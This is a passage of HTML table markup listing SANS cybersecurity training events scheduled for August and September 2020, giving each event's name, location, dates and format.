<td>Aug 3 MT</td>
<td>, CA</td>
<td>Aug 03, 2020 - Aug 08, 2020</td>
</tr>
<tr>
<td>SANS vLive - SEC504: Hacker Tools, Techniques, Exploits, and Incident Handling</td>
<td>SEC504 - 202007,</td>
<td>Aug 04, 2020 - Sep 10, 2020</td>
<td>vLive</td>
</tr>
<tr>
<td>SANS Reboot - NOVA 2020 - Live Online</td>
<td>Arlington, VA</td>
<td>Aug 10, 2020 - Aug 15, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>Instructor-Led Training</td>
<td>Aug 17 ET</td>
<td>, DC</td>
<td>Aug 17, 2020 - Aug 22, 2020</td>
</tr>
<tr>
<td>SANS Summer Hack Europe 2020</td>
<td>, United Arab Emirates</td>
<td>Aug 17, 2020 - Aug 28, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>Instructor-Led Training</td>
<td>Aug 17 MT</td>
<td>, IL</td>
<td>Aug 17, 2020 - Aug 22, 2020</td>
</tr>
<tr>
<td>Cyber Defence APAC Live Online 2020</td>
<td>, Singapore</td>
<td>Aug 17, 2020 - Aug 22, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Essentials Live Online 2020</td>
<td>, Australia</td>
<td>Aug 17, 2020 - Aug 22, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Japan Bi-Lingual Live Online</td>
<td>, Japan</td>
<td>Aug 31, 2020 - Sep 05, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS London September 2020 - Live Online</td>
<td>London, United Kingdom</td>
<td>Sep 07, 2020 - Sep 12, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Philippines 2020</td>
<td>Manila, Philippines</td>
<td>Sep 07, 2020 - Sep 19, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS London September 2020</td>
<td>London, United Kingdom</td>
<td>Sep 07, 2020 - Sep 12, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Baltimore Fall 2020 - Live Online</td>
<td>Baltimore, MD</td>
<td>Sep 08, 2020 - Sep 13, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Baltimore Fall 2020</td>
<td>Baltimore, MD</td>
<td>Sep 08, 2020 - Sep 13, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Munich September 2020</td>
<td>Munich, Germany</td>
<td>Sep 14, 2020 - Sep 19, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Munich September 2020 - Live Online</td>
<td>Munich, Germany</td>
<td>Sep 14, 2020 - Sep 19, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Network Security 2020 - Live Online</td>
<td>Las Vegas, NV</td>
<td>Sep 20, 2020 - Sep 25, 2020</td>
<td>CyberCon</td>
</tr>
</tbody>
</table>